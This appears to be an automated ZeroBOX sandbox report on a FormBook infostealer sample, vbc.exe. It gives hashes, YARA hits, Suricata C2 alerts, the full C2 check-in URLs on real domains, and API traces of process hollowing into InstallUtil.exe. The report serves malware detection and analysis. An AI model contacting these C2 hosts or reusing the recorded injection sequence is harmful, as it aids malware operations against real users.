Summary | ZeroBOX

vbc.exe

Malicious Library UPX OS Processor Check PE32 PE File
Category Machine Started Completed
FILE s1_win7_x6403_us May 23, 2022, 7:41 a.m. May 23, 2022, 8:20 a.m.
Size 1.3MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 61be5168cca3b1d728229f863b9f1162
SHA256 d8e0fd32eb51496e7f66b76ff106753742988dee2974cf885825a6d9aa8ee5f3
CRC32 205ABAAE
ssdeep 24576:TQGYT2NYwIeM8Q4eBAE5OdsoPUK3jhTi+sOo+spOYRo7tTK:TIuYheMp4zddskUkjhTi+kppOYRF
PDB Path C:\Nolor wilixac mecohin\Yapiy\Jopesono\Fis\Dabewiv tefanahe.pdb
Yara
  • IsPE32 - (no description)
  • OS_Processor_Check_Zero - OS Processor Check
  • UPX_Zero - UPX packed file
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49163 -> 160.153.138.163:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49163 -> 160.153.138.163:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49163 -> 160.153.138.163:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 150.95.255.38:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 150.95.255.38:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 150.95.255.38:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 150.95.255.38:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 15.197.142.173:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 185.68.16.31:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 15.197.142.173:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 185.68.16.31:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 15.197.142.173:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 185.68.16.31:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 15.197.142.173:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 23.231.95.172:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 23.231.95.172:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 23.231.95.172:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 66.29.142.85:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 66.29.142.85:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 66.29.142.85:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0
pdb_path C:\Nolor wilixac mecohin\Yapiy\Jopesono\Fis\Dabewiv tefanahe.pdb
suspicious_features GET method with no useragent header suspicious_request GET http://www.enjoypresenting.com/uu0p/?JDK8bDY=pWPehcmt8MxE/PomB4pHJBmYymSftkENTQjvbinm7aYa1O4gG/Xz2uMuumw/L0Tsuiv2UKaW&BX=E2J4tHWxrVn
suspicious_features GET method with no useragent header suspicious_request GET http://www.ut1r92k4.xyz/uu0p/?JDK8bDY=y9LlcKw7CILT/IAC242BlGhMDCoFzxuyKBPTsA5aMCCFzcBTVcaWng9Ihq1VfoCTHGtDhv3N&BX=E2J4tHWxrVn
suspicious_features GET method with no useragent header suspicious_request GET http://www.flipwatch.xyz/uu0p/?JDK8bDY=snSF/BRZqGOG4KqEyCINSdYzeAunTsUuEOjGimgAYDiOT3cOHZjj6gt/qOBUqsQIyxOcVLya&BX=E2J4tHWxrVn
suspicious_features GET method with no useragent header suspicious_request GET http://www.watnefarms.com/uu0p/?JDK8bDY=ot1/kmT2Pm41G1TcEZqa8wl/uWMf5XpS7bAC9++BFjK3AV5FF4nPR2HfH3PnTsJ6ayFBl+vP&BX=E2J4tHWxrVn
suspicious_features GET method with no useragent header suspicious_request GET http://www.wona-nyc.com/uu0p/?JDK8bDY=6EEcCW2hRleNxntoip/GZrjouJMXic+r2ls54VYWqIK+WcgvNzWiKdLZoB/oUPYZ+96qgzow&BX=E2J4tHWxrVn
suspicious_features GET method with no useragent header suspicious_request GET http://www.click-tokens.com/uu0p/?JDK8bDY=JQnK+6RAiNMVdqZ3z2qVIKMKYF7w4bfaATfxd6xA4NOx6+DWi6nE8jG/7X+416DwL7N1O74k&BX=E2J4tHWxrVn
request GET http://www.enjoypresenting.com/uu0p/?JDK8bDY=pWPehcmt8MxE/PomB4pHJBmYymSftkENTQjvbinm7aYa1O4gG/Xz2uMuumw/L0Tsuiv2UKaW&BX=E2J4tHWxrVn
request GET http://www.ut1r92k4.xyz/uu0p/?JDK8bDY=y9LlcKw7CILT/IAC242BlGhMDCoFzxuyKBPTsA5aMCCFzcBTVcaWng9Ihq1VfoCTHGtDhv3N&BX=E2J4tHWxrVn
request GET http://www.flipwatch.xyz/uu0p/?JDK8bDY=snSF/BRZqGOG4KqEyCINSdYzeAunTsUuEOjGimgAYDiOT3cOHZjj6gt/qOBUqsQIyxOcVLya&BX=E2J4tHWxrVn
request GET http://www.watnefarms.com/uu0p/?JDK8bDY=ot1/kmT2Pm41G1TcEZqa8wl/uWMf5XpS7bAC9++BFjK3AV5FF4nPR2HfH3PnTsJ6ayFBl+vP&BX=E2J4tHWxrVn
request GET http://www.wona-nyc.com/uu0p/?JDK8bDY=6EEcCW2hRleNxntoip/GZrjouJMXic+r2ls54VYWqIK+WcgvNzWiKdLZoB/oUPYZ+96qgzow&BX=E2J4tHWxrVn
request GET http://www.click-tokens.com/uu0p/?JDK8bDY=JQnK+6RAiNMVdqZ3z2qVIKMKYF7w4bfaATfxd6xA4NOx6+DWi6nE8jG/7X+416DwL7N1O74k&BX=E2J4tHWxrVn
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 1101824
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a4f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 1429504
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c0000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 2494464
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0b9a0000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 176128
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0b710000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009e0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x0012da00', u'virtual_address': u'0x00001000', u'entropy': 7.572360958410901, u'name': u'.text', u'virtual_size': u'0x0012d8b8'} entropy 7.57236095841 description A section with a high entropy has been found
section {u'size_of_data': u'0x00020800', u'virtual_address': u'0x00133000', u'entropy': 7.298483069626212, u'name': u'.rsrc', u'virtual_size': u'0x00020710'} entropy 7.29848306963 description A section with a high entropy has been found
entropy 0.989633469086 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtTerminateProcess

status_code: 0x00000000
process_identifier: 2620
process_handle: 0x00000210
0 0

NtTerminateProcess

status_code: 0x00000000
process_identifier: 2620
process_handle: 0x00000210
1 0 0
buffer Buffer with sha1: 066a850c418dc3e58b735eee05608099c2a8f32c
buffer Buffer with sha1: 00baf0edd715a9f67cbe69ddcbd53ed7472f5b08
buffer Buffer with sha1: 2a062fbf9988f3e4b4f29ceaed6b4d5a46f41700
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 176128
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
process_handle: 0x0000020c
1 0 0
Process injection Process 2288 manipulating memory of non-child process 2620
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2620
region_size: 176128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000210
3221225496 0
Process injection Process 2288 called NtSetContextThread to modify thread in remote process 2656
Time & API Arguments Status Return Repeated

NtSetContextThread

registers.eip: 1999372740
registers.esp: 3341904
registers.edi: 0
registers.eax: 4321888
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000210
process_identifier: 2656
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2624
thread_handle: 0x0000020c
process_identifier: 2620
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
track: 1
command_line:
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
stack_pivoted: 0
creation_flags: 12 (CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x00000210
1 1 0

NtGetContextThread

thread_handle: 0x0000020c
1 0 0

NtAllocateVirtualMemory

process_identifier: 2620
region_size: 176128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000210
3221225496 0

CreateProcessInternalW

thread_identifier: 2660
thread_handle: 0x00000210
process_identifier: 2656
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
track: 1
command_line:
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
stack_pivoted: 0
creation_flags: 12 (CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x0000020c
1 1 0

NtGetContextThread

thread_handle: 0x00000210
1 0 0

NtAllocateVirtualMemory

process_identifier: 2656
region_size: 176128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000020c
1 0 0

NtSetContextThread

registers.eip: 1999372740
registers.esp: 3341904
registers.edi: 0
registers.eax: 4321888
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000210
process_identifier: 2656
1 0 0
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